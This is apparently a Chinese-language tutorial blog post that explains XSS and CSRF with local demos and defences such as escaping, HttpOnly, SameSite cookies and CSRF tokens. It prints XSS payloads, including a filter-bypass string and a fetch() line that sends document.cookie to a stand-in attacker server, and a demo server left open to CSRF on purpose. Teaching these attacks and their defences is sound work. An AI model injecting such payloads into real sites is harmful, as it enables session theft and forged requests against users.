xss攻击
例如我在掘金评论区输入以下评论:
jsx
<script>alert(1)</script>
提交后再打开评论区,发现返回的HTML中可以看到这段代码评论, 但是并没有执行? 因为代码进行了转义, 在控制台审查dom元素, 点击 Edit as Html
:
可以看到特殊符号转成了转义字符:
试想, 如果这些字符没有被转义, 在我们打开评论区的时候, 就会出现弹框了!
xss(Cross-Site Scripting)
中文名为跨站脚本攻击. 指的是攻击者在页面的输入控件(如input框)中注入恶意脚本, 服务端保存了页面输入的内容, 其他用户再访问这个页面时, 服务端将脚本内容返回给了用户, 用户浏览器执行恶意脚本, 从而用户的敏感信息被窃取或者被攻击.
XSS实例
1、攻击者在某论坛评论区留言了一段脚本代码<script>alert(1)</script>
并提交, 这段代码被存储在了数据库, 其他用户访问评论区时, 会执行这段代码
2、攻击者通过在网站注入脚本来获取用户cookie
信息.
如下例子中, 用户的页面被注入了代码: <script>fetch('http://localhost:4000/transfer_cookie?s='+document.cookie)</script>
, 用户点击测试按钮, 他的cookie
就会传送到攻击者的服务器. 服务端能打印出cookie
:
3、在vue项目使用v-html
被注入了脚本代码,例如:<img src onerror='alert(1)'/>
, 这种情况直接注入<script>alert(1)</script>
并不会执行
比如下面例子中,内容中第二行为使用v-html
的动态内容:
点击测试, 可以发现v-html
中的内容被替换为包含脚本的html
并执行了:
4、后端用正则替换来处理前端传递的html字符串: <scscriptript>alert(1)</scscriptript>
可以看到有很多方法可能造成xss注入,总的来说有下面几种:
- html中内嵌script 标签
- 在内联的 js 中,拼接恶意代码
- 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签
- 在 href、src 属性中,使用
javascript:
等可执行代码 - 在 onload、onerror、onclick 等事件中,注入代码
xss的类型(来自mdn)
可以分为 存储型 XSS
、反射型 XSS
、和基于DOM的 XSS
注入型脚本 : 永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。
反射型 XSS : 当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。
基于 DOM 的 XSS: 页面本身并没有变化,但由于 DOM 环境被恶意修改,有客户端代码被包含进了页面,并且意外执行。
XSS防范
前端不要轻易在页面中注入来路不明或者可能被篡改的html
,服务端也要对用户提交的html
内容进行过滤、转义等. 另外通过在敏感cookie
设置 HttpOnly
标记, 防止javascript
访问cookie
, 也可以防范cookie
盗用:
ini
Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT; HttpOnly
另外, 在 vue
的模版和 react
的 renderDom
中都对字符串进行了转义, 因此在spa
应用中通常不用太多考虑 xss
的风险, 除非使用v-html
这样的指令.
CSRF攻击
Cross---Site Request Forgery
全称为跨站请求伪造, 从名字可以看出来: CSRF侧重的是请求的"伪造", 从而达到盗用用户身份, 发起恶意请求的目的.
先来看一个代码实例:
CSRF实例
假设在银行网站localhost:4010
有一个页面, 页面上有登陆、支付和退出登陆功能:
点击登陆, 这时会调服务端接口,创建session,保存用户的登陆状态. 然后再点进钓鱼网站 [localhost:4020](http://localhost:4020)
, 你在这里点了一个号称"美女荷官"的按钮, 请求了localhost:4010
的/pay
这个支付接口. 你会发现竟然支付成功了!
这是因为在[localhost:4020](http://localhost:4020)
的请求也携带了用户的会话cookie, 而服务端会根据cookie中的信息来判断用户是否登陆过.
如果在localhost:4010
点击了退出登陆, 再点击"美女荷官"的按钮, 就会失败, 因为服务端session已经过期, 客户端再携带老的cookie去请求接口, 肯定会不通过的.
服务端代码:
jsx
// router/index.js
router.get("/login", async(ctx, next) => {
ctx.session.login = true
console.log('登陆成功,已添加session!')
ctx.body = {
message: '登陆成功'
}
next()
})
router.get("/logout", async (ctx, next) => {
ctx.session.login = false
ctx.body = {
message: '退出成功'
}
next()
})
router.get("/pay", (ctx) => {
if (ctx.session.login) {
ctx.body = {
message: '支付成功'
}
} else {
ctx.body = {
message: '未登陆!'
}
}
})
jsx
// index.js
const Koa = require("koa")
const router = require("./router")
const cors = require('@koa/cors')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const app = new Koa()
// axios请求默认不携带cookie,设置withCredentials:true则会自动携带,需要在服务端设置Access-Control-Allow-Credentials头部
app.use(cors({ credentials: true }))
app.use(bodyParser())
app.use(router.routes())
app.keys = ['some secret hurr']
const CONFIG = {
key: 'koa.sess',
maxAge: 60000,
autoCommit: true,
overwrite: true,
httpOnly: true,
signed: true,
rolling: false,
renew: false,
secure: false,
sameSite: null
}
app.use(session(CONFIG, app))
app.listen(4000,()=>{
console.log("open server localhost:4000")
})
防御CSRF
从上面这个过程可以看到, 被攻击的原因是因为cookie被跨站获取了, 因此不允许跨站获取cookie能防御大部分CSRF
1、同源检测: 黑客要发起攻击的话只能是在自己的网站构造请求, 因此通过HTTP头 Origin 和 Referer 确定来源的域名, 如果和本域不一致则拦截.
2、较敏感的cookie
设置 SameSite
属性为Strict
或 Lax
, SameSite
允许服务器指定是否可以在第三方不同域网站上携带 cookie, 如服务端设置返回头:
ini
Set-Cookie: key=value; SameSite=Strict
3、CSRF Token: 在关键请求中携带一个攻击者无法获取到的token,那么攻击就会失败了
额外知识
-
转义字符的意义: 比如ASCll里面的控制字符及回车换行等字符,这些字符都没有现成的文字代号,即无法用键盘上任何单个按键表示。 所以只能用转义字符来表示。 某一些特定的字符在编辑语言中被定义为特殊用途的字符。 这些字符由于被定义为特殊用途,它们失去了原有的意义。
-
什么是跨站和跨域?
跨站: 比如
ark.dev.cn
和zeus.test.cn
就属于跨站, 因为它两有不同的二级域名
ark.dev.cn
和zeus.dev.cn
就属于同站,因为具有相同的二级域名dev.cn
跨域: 域名只要不一样就跨域了
-
XMLHttpRequest.withCredentials
属性是一个布尔值,表示跨域请求时,用户信息(比如 Cookie 和认证的 HTTP 头信息)是否会包含在请求之中,默认为false,即向 example.com 发出跨域请求时,不会发送 example.com 设置在本机上的 Cookie(如果有的话)。axios中的withCredentials配置设置的就是这个值。
demo代码
代码仓库: 地址
代码使用了pnpm
进行monorepo
管理, 在最外层仓库安装依赖后, 分别运行以下命令就可:
shell
// port: 4000
pnpm run start:end
// port: 4030
pnpm run start:xss
// port: 4010 4020
pnpm run start:csrf